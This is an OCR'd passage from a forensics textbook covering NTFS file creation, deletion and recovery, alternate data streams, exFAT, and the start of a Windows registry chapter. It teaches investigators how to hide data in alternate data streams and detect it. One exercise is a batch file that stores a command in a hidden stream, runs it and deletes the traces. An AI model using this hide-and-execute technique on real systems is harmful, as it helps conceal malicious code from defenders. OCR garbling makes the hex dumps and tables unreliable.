#1889[2 TEOS 4/14/200811:00:00 M & Save View
#1884 N2 3728 414/200811:00:00 M & #34ET73 Save View
#1808 [H2 0348 414/200811:00:00 M & Save View
#1880 4739 4/14/200811:00:00 AM & Save View
#1880 [+2] 1143 414/200811:00:00 AM g Save View

Everything about a file is an attribute, including its data. If a file’s data attribute is relatively
short, say roughly under the 480-700-byte range, it is actually stored in the MFT and is called resi-
dent data. Figure 7.25 shows resident data being stored within the MFT as seen by Disk Explorer
for NTFS (Runtime Software). If the data is too long to be resident data, then the data is stored
in clusters, as you are accustomed to seeing in the FAT filesystem. Figure 7.26 shows cluster runs
listing the clusters where the data is stored. In either case, this information (data content or start-
ing cluster/cluster runs) will be stored in the $DATA attribute. As you'll recall, the FAT handled
the cluster runs in a FAT filesystem. Thus, in NTFS, this function is handled by the MFT.

FIGURE 7.25
When data is
relatively small
inlength, it can

be stored directly
in the MFT and

is called resident
data. Resident data
is shown here using
Disk Explorer.

FIGURE 7.26
When data is non-
resident, it is stored
in clusters. In this
case the $DATA
attribute contains
information about
the starting cluster/
cluster runs, as
shown here using
Disk Explorer.
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=- 8 Attributes
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Ft entry

Header
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=88 $10

Header

Header

. 44 bytes, modified 12/12/2011 12:14:34 PM, resident data, Parent dir x2490[x1]

Interpretation of data:

Attribute $80 $DATA

REES

Length: %48 [72] bytes
This attribute is resident

Raw data:

80 00 00 00 48 0O
ZC 00 00 00 18 O
13
7

0 00 00 00 00 18 00 00 00 O
0 00 00 54 &8 €9 73 Z0 &3 T
s -
7

@ow e
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=1

4 resident data st
&F 72 &5 84 20 €3 74 €3 69 6E 20 74 68 65 20 ored within the
4D 46 54 ZE 00 00 00 00 MET.....

T2

]

dil', 3 . 13312 bytes, modified 4/14/2008 11:00:00 Ak, starting at cluster 1002415, Parent dir «10[x1]

Interpretation of data:

This attribite is noreresident

Click an the cluster numbers below to wiew its data

Bun list

21:0415 24

Tst run: #0004 (4] clusters stating at «00002415 [10773)
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Just as the $DATA attribute can be resident or nonresident, such is the case with other attri-
butes. When an attribute exceeds the capacity of the MFT entry limits, the attribute will be non-
resident and tracked by the $ATTRIBUTE_LIST attribute. A good example of how this works is in
the case of very large files with more cluster runlists than will fit in the $DATA attribute. When
this overflow occurs, the $ATTRIBUTE_LIST attribute will list the type of attribute (for example,
Type 128 or 0x80, which is the $DATA attribute) and the MFT file record number(s) where this
information continues. Although this system allows for tremendous scalability, it does create
a situation where the cluster runlists can become fragmented. This can cause problems when
recovering very large deleted files and there are missing entries containing cluster runlists.
When this occurs, the result is a partial file recovery, because the cluster runlist information is
incomplete.

Although NTFS has many other metadata structures (all stored as files), the other major piece
needed by the NTFS filesystem is the bitmap file, which is named $B1itmap and was mentioned
previously. The bitmap serves a similar but more limited function as the FAT in a FAT filesys-
tem. In an NTFS system, the bitmap is nothing more than a large array or table, with each bit
representing, sequentially, the clusters (starting at cluster 0) in the NTFS partition. If the cluster
is used and is not available, its bit value is 1. If the cluster is not used and is available, its bit
value is 0. This table does nothing more than track whether a cluster is in use. In this regard, the
NTFS bitmap table is simpler in design than the FAT table in a FAT filesystem. With the infor-
mation from the $B1itmap file (which tracks whether clusters are allocated or not) and the $MFT
record entries (filename, length, starting cluster, and cluster runs), the filesystem can perform its
basic functions. The advanced functions are handled by the remainder of the metadata files, of
which there are many in an NTFS filesystem. Table 7.10 lists various NTFS system files used to
store metadata, along with a brief description of their function.

TABLE 7.10: NTFS System Files

MFT RECORD # FILENAME DESCRIPTION

0 SMFT Contains the Master File Table. Each MFT record is 1,024 bytes
inlength.

1 SMFTMi rr Contains a backup copy of the first four entries of the MFT.

2 $LogFile Journal file that contains file metadata transactions used for

systemrecovery and file integrity.

3 $VoTlume Holds the NTFS version and volume label and identifier.

4 $AttrDef Holds attribute information

5 $. Indicates the root directory of the filesystem.

6 $Bitmap Tracks the allocation status of all clusters in the partition.
7 $Boot Contains the partition boot sector and boot code.

8 $BadClus Tracks bad clusters on the partition.
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TABLE 7.10: NTFS System Files (continued)

MFT RECORD # FILENAME DESCRIPTION

9 $Secure Contains file permissions and access control settings for file
security.

10 $UpCase Converts lowercase characters in Unicode by storing an upper-

case version of all Unicode charactersin this file.

11 $Extend Contains a directory reserved for options extensions.

Creating, Deleting, and Recovering Data in NTFS

Now that you understand the basic structures of the NTFS, let’s look at how they interact to cre-
ate, read, or delete data. Based on your understanding of a file as we explained it in the section
on FAT, in order to work with data, the filesystem must be able to track a file’s name, length,
starting cluster, and cluster runs. In addition, it must track cluster usage (which clusters are allo-
cated versus unallocated). We know that the MFT (filename $MFT) tracks a file’s name, length,
starting cluster, and cluster runs (runlists). We know that cluster allocation usage is tracked by
the bitmap (filename $Bi tmap). Using this limited information set, the NTFS filesystem can per-
form its basic function. Let’s create a file and see how it works.

We are going to create a file called \mydocs\myfile. txt, which is 2,500 bytes in length on
a system in which the cluster size is 2,048 bytes (four sectors per cluster). We will presume the
folder mydocs already exists. When we create this file, the following steps occur:

1. The system reads and stores into memory the cluster size, the starting address of the
MEFT, and the size for each MFT entry, which is typically 1,024 bytes. The MFT is read into
memory, which is done by reading the $DATA attribute of the $MFT file. This process places
the layout of the MFT into the system memory:.

2. As the system carries out the steps for creating the file, it first enters the steps into the
$LogFiTe for system stability. Once the log entries are written, the changes are made to
the filesystem.

3. A new MFT record entry must be allocated, and this is done by consulting the $BITMAP
attribute of the $MFT file to determine the first available entry. Hypothetically, we'll pre-
sume the MFT record entry number to be 4445. This entry is allocated by virtue of setting
the $MFT $BITMAP attribute bit for record entry 4445 to 1.

4. The MFT record entry 4445 is initialized. Next, the $STANDARD_INFORMATION and $FILE_
NAME attributes are created, and the time stamps therein are set for the current time. The
bit setting for in use, located at byte range 22-23 of the MFT header, is set to 1, meaning
the record entry is for an in-use file or directory.

5. The next step in the process is to allocate the data in our file to cluster space. The $Bitmap
file is responsible for tracking cluster allocation, and thus this table is consulted, which is
located in the $DATA attribute of the $Bitmap file. Since our file (2,500 bytes) is larger than
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one cluster (2,048 bytes), we must allocate two clusters for it. Using the best-fit algorithm,
the system determines that cluster numbers 8,767 and 8,768 are available. The bits in the
$B1itmap file for these two clusters are set to 1, marking them as allocated and in use. At
this point, the data is written to clusters 8,767 and 8,768. From the end of the file’s data in
the first sector of cluster 8,768 until the beginning of the subsequent sector, the bits are
filled with zeros. In the MFT record entry, the $DATA attribute is updated with the cluster
runlist. Since the MFT entry has been modified, the file is modified, and the MFT modi-
fied times are updated.

Now that the data has been written, the filename must be created. Because the filename
(myfile.txt)is going to be stored in an existing directory (\mydocs), the root directory
(MFT record entry 5) is queried for the location of \mydocs. This is done by reading the
$INDEX_ROOT and $INDEX_ALLOCATIONS attributes of the root directory and traversing
the trees thereunder. When the directory (\mydocs) is found, its record entry number is
read and stored for the next step. For purposes of our example, we will presume a record
entry of 600. As we access this directory, its last accessed time will also be modified to
the current time.

Since we have the location of the parent directory (\mydocs), which is record entry 600,
we go to that record entry, reading its $INDEX_ROOT attribute. This process will provide

a location to store the new file and create a new index entry for it, which will also be
assigned to an MFT record entry, which we will presume to use 6,323 as its file reference
address. As this new entry is created, the various time stamps will be adjusted to the
current time and other flags set. As a final step, the directory’s time stamps will also be
updated to the current time. At this point, we have completed the process.

As you can see, the process is more complicated than in FAT, and we have not even consid-
ered the other metadata that was involved, such as file access control, encryption, or other secu-
rity information. Nevertheless, you should now have a basic understanding of how NTFS stores
data. Let’s next see what happens when we delete a file on NTFS. We will show how to delete
the file (mytext. txt) we just created. To delete this file, the following must occur:

1.

The system reads and stores into memory the cluster size, the starting address of the
MEFT, and the size for each MFT entry, which is typically 1,024 bytes. The MFT is read into
memory, which is done by reading the $DATA attribute of the $MFT file. This process places
the layout of the MFT into the system memory:.

As the steps for deleting the file are carried out, the steps are first entered into the
$LogFiTe for system stability. Once the log entries are written, the changes are made to
the filesystem.

To locate our file (mytext. txt), we read the directory \mydocs. The root directory (MFT
record entry 5) is queried for the location of \mydocs. This is done by reading the $INDEX_
ROOT and $INDEX_ALLOCATIONS attributes of the root directory and traversing the trees
thereunder. When the directory (\mydocs) is found, its record entry number is read and
stored for the next step. For purposes of our example, we presume a record entry of 600.
As we access this directory, its last accessed time will also be modified to the current time.

Because we have the location of the parent directory (\mydocs), which is record entry
600, we will go to that record entry, reading its $INDEX_ROOT attribute. This process will
provide the MFT address for our file, which is record entry 6, 323. We remove this entry
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from the index, at which point the entries in the node are moved and the original entry is
overwritten. The directory’s time stamps are updated to the current time.

5. Next, we have to mark the record entry for 6,323 as unallocated. This is done in two
steps. First, we go to the in-use bit flag at byte range 22-23 of the MFT header and set it to
0. Next we set the bit to 0 for MFT record entry 6,323 in the $MFT $BITMAP attribute.

6. Because data from our file is stored in certain clusters, those clusters must now be
marked as unallocated. To do so, the $DATA attributes for record entry 6,323 are read,
showing that the clusters containing our data are 8,767 and 8,768. The bits in the $DATA
attribute of the $B1itmap file for these two clusters are set to 0, marking them as unallo-
cated and available for use. At this stage, we are finished.

Again, while more complex than FAT, the reversal process is similar in that the data and the
pointers to it are not removed. Rather, bits or flags are changed, leaving the data in place with
the links that can still be followed for forensic recovery. That being said, the process of recover-
ing a file is, generally speaking, the same as reading it when it was allocated. We simply need
to locate the files that have their allocation bits set to zero (byte offsets 22-23 in the MFT header)
and start reading the MFT entries. Figure 7.27 shows the in-use bit flag (bytes 22-23 of MFT
header) set to 1 for an allocated file. By contrast, Figure 7.28 shows this same bit flag set to 0 for
a file that has been deleted. The file’s MFT entry remains, but it has simply been marked with
0 instead of 1. Therefore, if the MFT entry still exists and the clusters haven’t been overwritten,
NTFS files are very recoverable in this manner.

FIGURE 7.27 ‘Erediire mo e Rt | poy Uit Int  Binary

The in-use bit flag is e eeBrsEeee 0001 A 1 0000000000000001
56220/ FILEO--"NE .

set to 1 for an allo- 57344 FILED- - -£%
BESEH rcrr e

cated record entry, P

indicating an active
file or directory in
the MFT.
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8 ’ o000 0 0 0000000000000000

FIGURE 7.28 T Tent|[Hex o [[Report [
The in-use bit flag 55296 FILE0" - Seea :
isset to o foran oo/ ey
unallocated record SEREEI
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deleted file or direc-

tory. Note that the

MEFT record exists

inits entirety, mak-

ing recovery easy

and accurate in
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Because cluster runlists are stored in the MFT record entries, we do not have to assume and
recover contiguous clusters as with FAT. As long as the runlists in the $DATA attribute are resi-
dent and the clusters are not overwritten, complete and accurate recovery is very likely. When
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runlists are long and become nonresident, the chances of those nonresident MFT record entries
becoming overwritten increases, and the likelihood of complete recovery decreases.

Another factor influencing recovery lies in the MFT itself. The MFT grows to fit the needs of
the system but does not shrink. If a record entry appears early in the MFT array and is marked
as unallocated (deleted), the chances of it being allocated and overwritten very soon are high,
because the system looks to the first-available MFT when allocating MFT record entries. If, how-
ever, the MFT has grown very large and the user cleans house, deleting many files and directo-
ries, many of which are located near the end of the MFT, things change with regard to recovery.
With considerable entries scattered throughout the MFT, the first-available ones will be used
first, and the record entries appearing later in the MFT will persist much longer, making their
recovery chances very good.

Now that we’ve covered the NTFS system, let’s consider one final aspect of that filesystem—
its ability to hide data. We will hide data by placing it in an attribute, and since we are now quite
adept at understanding attributes, there’s no better time to jump in and do it!

Dealing with Alternate Data Streams

You are, by now, familiar with the $DATA attribute. It is used to contain either the resident data
of the file or to contain the runlist information pointing to the clusters containing the nonresi-
dent data. That sounds simple enough, except for the fact that you can have more than one
$DATA attribute. When more than one of these are present, they are referred to as alternate data
streams (ADSs). When data is inserted into an ADS, it is not visible to the user, even if the user
has administrator rights, making an ADS an ideal place for an intruder to hide data and make
use of it. As an intrusion investigator, you must be aware of this capability when dealing with a
Windows system using NTFS.

Because an ADS depends on inserting data into an NTFS attribute, this method is unique to
NTEFS, and the ADS must be created and preserved within an NTFS environment. If you transfer
a file with an ADS via FTD, the attributes are lost and not transferred. Likewise, if you copy a file
with an ADS onto non-NTFS media (FAT, HFS+, and so on), you will lose the attribute and the
hidden data. Because of this lack of cross-platform portability, the intruder usually creates the
ADS on the victim NTFS and then hides his tracks, leaving his data hidden away until needed.

We've talked enough about this; now let’s see how it works. First we must work from the
command line because Explorer doesn’t support working with an ADS. From the command line,
the syntax for addressing a data stream is filename.ext:datastream, where the named ADS
appears after the colon. From the command line (select Start > Run, enter cmd.exe, and press
Enter), type the following;:

C:\> md c:\streams
C:\> cd c:\streams
C:\Streams> echo "Hello World - I have
now hidden this data" > empty.txt:hiddentext.txt
C:\Streams> dir *.*

The first two lines simply create a directory named Streams on your C: drive and then
change into that directory. Figure 7.29 shows the data-insertion commands, followed by a dir
*.* to show what was created by that action. The echo command outputs or displays what fol-
lows, which is our message. The > directs that output to a file named empty . txt, but with the
:hiddentext. txt suffix, thereby sending the data to an ADS by that name. After typing in the
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*.* command to display the contents of the directory, you should see only one file named

FIGURE 7'29 BN C\Windows\system32\cmd.exe E@
Commands insert- =
. . C:“\8treams¥echo "Hello UWorld - I have now hidden this data"™ > empty.txt:hiddente
ing dataintoa t_txt 3
hidden ADS and C:nStreams>dip 3,
Uolume in drive C has no label.
showing the resul- Uolume Serial Number is 202B-254F
tant file Containing Directory of C:\Streams
12,12-2811 B2:86 PM <DIR>
o bytes 12;12;2311 A2:86 PM <DIR> --
12,12-2811 @2:86 PHM B enpty.txt
1 File(s> B hbytes
2 Dircs> 1.657.942.816 bhytes free
C: \Streams>_

If you double-click this file (empty. txt) in Explorer and open it, most likely with Notepad,
you will see nothing because the file is empty. This is because you are looking at the primary
$DATA attribute of the file, which contains no data. If, however, you were to open Notepad from
the command line and pass it arguments that address the hidden data stream (ADS), you could
open this hidden data. As shown in Figure 7.30, type in the following command from the com-
mand line:

C:\Streams> notepad empty.txt:hiddentext.txt
FIGURE 7.30 G:nStreams>echo “Hello World — I have now hidden this data"™ > empty.txt:hiddente
t.txt
Commands to C:\Sereans>din w.x -
launch Notepad to Volume Serial Runber is 2028 254F

see data hidden in

Directory of C:“\Streams

an ADS 12,12,2011 @2:06 PN

12-12-,2811 B@2:86 PM
12-12,2011 ©2:86 PM
1 File

C:5Streans>notepad empt

(s>
2 Dirvds)>

<DIR>
<{DIR> --
B empty.txt

B hytes
1.657.942,816 bhytes free

y-txt:zhiddentext . txt

You should see, as shown in Figure 7.31, that the data that you inserted into the hidden data

stream is visible when addressed in thi

s manner. Now that you see how this works, you can begin

to imagine how an intruder could make use of this data-hiding technique. Fortunately, there are
tools available to allow you to locate hidden data streams, and they are free and simple to use.

FIGURE 7.31 mj empty.b:hiddentext.tet - Notepad EI@
Notepad launched File Edit Format View Help

from the command "Hello world - I have now hidden this data" -
line displaying

the data hidden in

the ADS
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One such tool for locating hidden data streams is streams.exe from the Sysinternals section
of the technet.microsoft.com website. This tool is free and easy to use. It is a command-line
tool, and the simple syntax for using itis streams [-s] [-d] <file or directory> where
-s means recurse subdirectories and -d means delete streams. This syntax, along with the
results, is shown in Figure 7.32. As you can see from the syntax, not only can you find ADSs,
you can delete them—although you certainly wouldn’t want to do so in the case of an intrusion
investigation.

FIGURE 7.32
Streams.exeis
used to locate hid-
den data streams.
In this case, it has
located not one but
two hidden data
streams in this file.

B8 C\Windows\systern32\emd.exe o= =

G:\Streams>streams /7

Streams vl.56 — Enumerate alternate NIFS data streams
Copyright {C> 1999-2887 Hark Russinouvich
Sysinternals — www.sysinternals.com

usage: streams [—s] [-d] <file or directory>

& Recurse subdirectories
—d Delete streams

G:\Streams>streams *.txt

Streams vl.56 — Enumerate alternate NIFS data streams
Copyright {C> 1999-2887 Hark Russinouvich
Sysinternals — www.sysinternals.com

CinStreamsempty.txt:
chiddentext.txt:5DATA 46

C:\Streams>

LOCATING ALTERNATE DATA STREAMS IN ENCASE

EnCase has a feature called conditions. One of the conditions is called Alternate Data Streams,
which is highlighted in the bottom right of Figure 7.33. By double-clicking and running this condi-
tion, the examiner canisolate all hidden data streams, thereby quickly locating them and allowing
the examiner to focus solely on them and their content.

Fortunately, most forensic software readily displays hidden data streams, and viewing and
searching the data in them is no different than for any other file. They are so readily displayed,
in fact, that you need to take the time to see that the data is hidden. Figure 7.33 depicts an EnCase
view of the two data streams detected by streams.exe in Figure 7.32. You can see that the
containing file empty. txt has 0 bytes and is at MFT record entry 2755. The first data stream is
displayed immediately following the containing file, using the convention “filename dot named
data stream.” The data in the highlighted data stream is shown in the view pane. Since this
data stream is also at MFT record entry 2755, it is resident data in that same MFT record entry.
Although the data for the second ADS is not displayed, its entry appears below the first one.
Interestingly enough, the MFT record entry for the second ADS is also 2755, meaning both hid-
den data streams are resident data attributes and contained entirely in MFT record entry 2755.
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streams as seenin T Home | ofefFile Extents 40| 1]  empty.txt File, Archive 2755 0 0D-C787120,288

EnCase CCSeftware (&) 2 empty. tet-hiddentext File, Stream 2755 46 0D-C787120,336

[ Streams O3 empty. txt-hiddentext.txt  |File, Stream 2755 45 0D-C737120,440

[(] W ] - “‘[i-] <] il }
[=] Text | [ Hex [ Ficture ﬂ Report [ Console fg Detais [ Lod p v’@ EnScripts S Filters  [{= Cond\ﬁon5| @!
00fHellc World - I have now hidden this data” [Z-[£= Conditions

[C=)Email Examinations
ICjReferences Conditions
|C=)File Extents
-5 General Conditions

= All except deleted files
': <= Alternate Data Streams

@ Real World Scenario

HIDING DATA IN AN ADS

In this little exercise, you’ll create a batch file that creates a hidden data stream, extract the hidden
data and place it into a batch file, run the batch file, and then delete your hidden data and the batch
file after it is run. Although this file is harmless, it can perhaps stimulate you to start thinking how
anintruder might use hidden data with batch files or other types of data, since it is possible to hide
binary code or images in hidden data streams just as easily.

Open Notepad, and type the following lines. Note that you can, if you want, disregard typing the
rem lines (italicized) because they are comments to explain the batch file commands—either way
they have no effect on the file.

echo off

rem The next four Tlines do the following:
clear the screen, change directory into c:\, making
the directory c:\streams and then changing into it

cls

cd c:\

md c:\streams

cd c:\streams

rem The next Tine echoes a command 1ine into a hidden data stream

echo dir *.* >mt_file.txt:hiddenbatchfile

rem The next Tine uses the more command to pull the hidden data
and then it is redirected > to a new batch file.

more < mt_file.txt:hiddenbatchfile >dir.bat

rem The next Tine removes the file containing the hidden data stream
and the hidden data with it

del mt_file.txt

rem The next lines call the newly created batch file, executing
its commands. The last line pauses the action allowing you to
see what occurs. Your intruder may not be so kind!

call dir.bat
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pause
rem The next Tline deletes the newly created batch file
del dir.bat

When you have typed in the batch commands, save the file in a directory on your system drive (C:
usually; if not, substitute accordingly in the batch commands), naming the file run. bat. Itis better
to create a folder for it, naming it, perhaps, test. When finished, go to a command-line interface,
and change into the directory where you saved the batch file (cd \test).

Once you have a command prompt in the directory where your batch file resides, type run, and press
Enter. The batch file will run, and the next thing you will see is the directory display of the folder
C:\streams and in it one file, dir.bat. At this point, you have created a new directory, created
ahidden data stream, piped the content of the hidden stream into a batch file, and deleted the file
containing the hidden data. What remains is only the batch file that is currently showing you the
contents of your new folder. After you press any key to continue, the batch file will finish, removing
your batch file. If you check the contents of your new folder C: \streams, you should find it empty.

Again, this exercise is harmless in effect, but it should provoke some thought about how intruders
can use hidden data. Credit card information, passwords, usernames, and countless other pieces
of stolen data can collected and stored away, waiting to be extracted late at night when nobody is
watching the network.

The exFAT Filesystem

The newest addition to the Microsoft list of supported filesystems is exFAT, a Microsoft pro-
prietary filesystem available to third parties under license. First released in 2006, exFAT has
been slowly expanding its user base, although its current popularity is somewhat limited. The
adoption of exFAT support by Mac OS X Lion might spur further use. This filesystem is aimed
mostly at removable media as a replacement for FAT32, although the lack of support in most
major Linux distributions still stands in the way of exFAT replacing FAT32 in the short term.
Nevertheless, with support in Windows and Mac operating systems and the constant need for
larger removable media in cameras and other digital devices, exFAT is positioned to expand in
popularity.

exFAT provides some significant functionality improvements over FAT32. For starters, the
theoretical size limit for a volume as published on Microsoft’s website is 64 ZB (zettabyte). This
limit is purely theoretical, because it assumes some extremely large cluster sizes that would not
be feasible in current real-world scenarios. Microsoft suggests a practical limit of anywhere from
256 TB to 512 TB (terabyte), depending on which published Microsoft web page you rely on for
the information. The maximum file size is likewise theoretically massive (2°* - 1 bytes), but again
the practical limit based on Microsoft sources would be 256 TB to 512 TB. Still, that’s a far cry
better than the maximum of 4 GB that FAT32 could possibly support!

exFAT maintains the File Allocation Table of its FAT12, 16, and 32 predecessors, but substan-
tial changes have been made to the FAT and the way it is used. A cluster bitmap, similar to that
used in NTFS, is now incorporated rather than relying on the FAT to determine which clusters
are available. Since the FAT is no longer needed to determine if a cluster is allocated, the FAT’s
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purpose is largely relegated to tracking the location of data for fragmented files. The exFAT file-
system also currently uses only one FAT by default, further reducing overhead.

Furthermore, if a file is stored on contiguous clusters without fragmentation, a flag is used
to indicate this status in the file’s directory listing. In such cases, the FAT does not need to be
consulted at all since the directory entry (just as with FAT32) indicates the starting cluster and
the length of the file. Since the file is stored in contiguous clusters, that is all the information the
system needs to locate and read the data.

Deleting a file in exFAT does not involve writing a hex E5 over the first character of the file-
name. When a directory entry is no longer valid, a separate field in the entry is changed to indi-
cate that it is no longer valid, and the cluster bitmap is modified to show that the clusters used
to store the deleted file are once again unallocated. The filename is still stored in the directory
entry along with the starting cluster number for forensic recovery.

Recording of MAC times is improved and now supports UTC time stamps, rather than only
local system time. All three MAC time stamps now also include storage for date and time, over-
coming the limitations that existed with FAT32. The ability of different operating systems to
actually work with these new time stamp fields still seems a bit hit or miss, but as exFAT contin-
ues to grow in use, these issues will hopefully be sorted out by the various OS manufacturers.

For now, network investigators encounter exFAT media only on rare occasions. As the
filesystem increases in popularity with removable media manufacturers, we expect to see
it more frequently; however, for the time being its relevance in network forensics investiga-
tions is still fairly marginal. Those wanting additional detail are encouraged to read the paper
“Reverse Engineering the Microsoft Extended FAT File System (exFAT)” by Robert Shullich,
which is available from the SANS Institute Reading Room at www. sans.org/reading_room/
whitepapers/forensics/reverse-engineering-microsoft-exfat-file-system_33274.

The Bottom Line

Interpret the data found in a 32-byte FAT directory record. The FAT filesystem is alive
and well. It is the one filesystem that is portable between the various popular operating sys-
tems, which are Windows, OS X, Linux, and so forth. With the rapid growth in thumb drives,
various types of flash media, and personal music players, the FAT filesystem will be around
for years to come. Many attackers keep their tools and data on thumb drives to keep them
portable and hidden from prying eyes.

FAT stores vital filesystem metadata in a structure known as a FAT directory entry. This
entry is 32 bytes in length and contains, among other things, the file’s name, length, and
starting cluster.

Master It An intrusion has occurred and it is clearly an inside job. An unidentified
thumb drive was found in the back of a server. Upon examination of the thumb drive,
you searched for directory-entry fragments that specifically targeted deleted executables
(see the “Locating FAT Directory Entry Fragments” sidebar in this chapter for an expla-
nation of this technique) and found several of them. To the extent possible, you want to
recover these executables and examine them more closely.

Determine a file’s cluster run in a FAT table, given its starting cluster number and file
size. The FAT filesystem uses two tables (FAT1 and FAT2) to track cluster usage and to track
cluster runs. Normally, FAT2 exists as a copy of FAT1 in the event that FAT1 is ever corrupted.
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Cluster entries for clusters 0 and 1 in these two tables are used for other metadata, and clus-
ter numbering therefore starts with cluster 2. The tables contain arrays of 12-, 16-, or 32-bit
entries depending on whether it is a FAT12, FAT16, or FAT32 filesystem. Each 12-, 16-, or 32-bit
array represents a cluster in the partition. The value of the array is either zero (cluster is unal-
located), a value (next cluster in the cluster run), or an End of File marker. It may also contain
a value marking it as a bad cluster.

Master It In the previous intrusion example, you recovered a file named takeover.exe.
Although you have recovered the file, you also want to verify that the starting cluster was
not in use by an allocated file.

Interpret the data found in an NTFS MFT record. Instead of using the 32-byte directory
entry records used by FAT, NTFS uses 1,024-byte MFT record entries to achieve, at a mini-
mum, a similar purpose. Instead of using a FAT table (FAT1 and FAT2), NTFS uses a cluster
bitmap. In the cluster bitmap, 1 bit represents each cluster in the partition. If the bit value is 0,
the cluster is not allocated to a file. If the bit value is 1, the cluster is in use by a file. The clus-
ter runs are tracked by the $DATA attribute within the MFT.

Master It In your previous intrusion case, involving the file takeover.exe, you exam-
ined one of the compromised servers, finding a reference to the file takeover.exe in the
pagefile.sys file. Upon examining the data, you see FILEQ in the preceding data and
again in the data that follows. From the F in the preceding FILEO to the F in the one that
follows, there are 1,024 bytes. When you examine the MFT, there is no such entry. What
have you most likely found, and how can you explain its presence in the paging file but
not in the MFT?

Locate alternate data streams on an NTFS filesystem. You are, by now, familiar with the
$DATA attribute. The $DATA attribute is used to contain either the resident data of the file or
the runlist information pointing to the clusters containing the nonresident data. You should
also recall that you can have more than one $DATA attribute. When additional $DATA attri-
butes are present, they are referred to as alternate data streams (ADSs). When data is inserted
into an ADS, it is not visible to the user, even if the user has administrator rights, making an
ADS an ideal place for an intruder to hide data and make use of it.

Master It In the previous intrusion case, involving the file takeover.exe, you suspect
that your attacker may have hidden the program (takeover.exe) in an alternate data
stream. How can you determine if there are alternate data streams present?

Understand the basics of the exFAT filesystem. The exFAT filesystem is the latest sup-
ported filesystem for Microsoft operating systems. It brings enhancement in capability com-
pared to its FAT predecessors and removes limitations, such as with timestamp recording,
from which those filesystems suffered. While not currently encountered in great number,
the increasing size of removable media and native support being added to more devices may
increase its popularity in the near future.

Master It You are reviewing a fellow examiner’s report for accuracy. The report indi-
cates that the examiner was analyzing removable media formatted with the exFAT file-
system and that he recovered a deleted file. His report shows the name of the recovered
file as _y File. His notes indicate that the initial character of the filename was overwritten
when the file was deleted by the hex character E5 as part of the deletion process. Is there
likely a problem with his report?



The Registry Structure

The Windows registry is a vast hierarchical database of operating system, program, and user
settings. It is also a relatively obscure Windows feature in which the user rarely has any direct
interaction. The Windows registry contains information that is significant for the investiga-

tors, incident responders, and forensic analysts or anyone conducting network investigations.
Accordingly, to access this information and interpret its meaning, the network investigator must
have a good understanding of the Windows registry.

In this chapter, you will learn to:

¢ Understand the terms keys, values, and hive files, as well as understand how logical keys and
values are mapped to and derived from physical registry hive files

Use different utilities to navigate and analyze both live and offline registries
Determine which control set is the current control set

Use ProcMon to conduct basic registry research techniques

Understanding Registry Concepts

What most users know about the registry is that it is something ugly and complicated that they
aren’t supposed to touch for fear of corrupting their system. For most users, that is both suf-
ficient knowledge and good advice. For the network investigator, however, the registry is a vast
repository of evidence, and that makes it something that the investigator must understand and
be comfortable navigating and searching.

One of the first questions, then, is what is the registry? The Windows registry is a central
repository or, more specifically, a hierarchical database of configuration data for the operat-
ing system and most of its programs. While creating a convenient central location for this
data, it also creates the potential for a single point of failure that can bring the system to a halt.
Furthermore, you can make deletions and modifications directly in the registry, but many of the
typical Windows protection features, such as redo, undo, and Recycle Bin, do not exist for the
registry. This is also why the registry should be directly accessed and modified only by people
who know what they are doing.

Because of the single-point-of-failure vulnerability, the operating system uses safeguards to
enable recovery to safe configurations through the use of last known good configuration and
restore points in Windows XP and beyond. Also, usually the user doesn’t interface directly with
the registry to make changes but rather uses Windows utilities and configuration menus, such
as those found in Control Panel.
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To understand the registry as it is seen in forensic software, you need to understand the live
registry as it is seen in Windows. As you go through this chapter, you will be exploring your
system registry. No discussion of the registry would be complete without the customary warn-
ing, which is simply that changing your system registry could harm your operating system.
Consequently, if you aren’t comfortable working in the registry, don’t do so on a machine that is
important. Instead, do your exploration and experimentation on a test platform. If you want to
make changes, as always, back up your registry first or create a restore point before proceeding.

@ Real World Scenario

HERE, THERE BE DRAGONS

It is not unheard of for an examiner (or author, who shall remain nameless) to accidentally nuke
an important registry key during testing. After the cold sweat has subsided, it is a great thing to
know that restore points are available to act as a parachute for our systems when we need to bail
out and return to a point where the system was known to be properly functioning. Since we cover
restore points extensively in the next chapter, we won’t discuss them here other than to strongly
recommend that you create one before working in the registry. To that end, we’ll provide you with
a quick tutorial on creating one in Windows 7:

1. Youmustbe sure that the System Restore function has been enabled. Right click on the Computer
icon on the desktop and choose Properties. Click the System Protection link on the left side of the
window, and make sure that your Protection Settings dialog box reports that your system drive
protection is On. If it is not set to On, then highlight your system drive and click the Configure
button; then select the “Restore system settings and previous versions of files” radio button.
You can adjust the amount of storage that is allotted to hold the System Restore data, but the
default maximum is about 5 percent of your system drive.

B

To create a restore point, from the System Protection window, click the Create button. Make
sure that you provide a name for your restore point, such as Before 1 Touched the Registry.
When finished, click Create, and a restore point will be created.

&

If for any reason you need to return to this restore point, simply go to the same user interface
and select System Restore. From there, you can choose to restore to the point that is suggested
by Windows (normally right before you installed a new software package), or you can choose
a different restore point. Once you’ve selected the restore point that you want to use, you can
follow the prompts to restore your system. You can also access the System Restore user interface
by choosing Start > All Programs > Accessories > System Tools > System Restore.

With the warnings behind us, let’s proceed. As we’ve mentioned, the registry is a gold mine
of forensic evidence for the network investigator. Also, we have to thank Microsoft for helping
us preserve some of this evidence. Over the years, Microsoft has discouraged and warned users
(including administrators) from accessing or modifying the registry. In doing so, it has kept it a
place of mystery to most users, and so in many cases, they don't look there to cover their tracks.
Even applications that are supposed to hide the evidence of user activity on a computer don’t
always get all of the entries that point to a user’s nefarious activities. As a network investigator,
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you need to be very comfortable navigating within and working with the data in the registry.
Comfort comes with knowledge, understanding, and experience—all of which you will gain as
you read this chapter.

Our approach will be to provide a background of the registry that includes its history and its
current structure. Within the discussion of its structure, we’ll introduce you to the terminology
associated with the registry. When we are finished, you’ll be comfortable using terms such as
hives, keys, subkeys, and values. Once you understand the terminology and structure, we’ll cover
research techniques that will enable you to look under the hood and truly understand the regis-
try’s internal workings. Also, we’ll be covering the difference between a live registry as seen by
Windows and one that is viewed in a forensic environment.

If you follow the digital forensics or computer security message boards, hardly a day goes by
that someone isn’t asking where to find this or that in the registry. Usually, somebody tells them,
but when you stop and think about, the information provided is only hearsay unless you have
the knowledge and skills to research and validate the data in the registry. Thus, we will show
you how to use tools to test and validate registry data. When we conclude this chapter, instead
of being a person who is always asking where things can be found, you'll be one of those pro-
viding those answers. Most important, you'll also be prepared to explain information found in
the registry in court, to your clients, or to your boss—the places where it really matters.

Registry History

The Microsoft Windows operating system has its roots in MS-DOS. MS-DOS was a command-
line interface whose configuration settings, by today’s standards, barely existed. MS-DOS
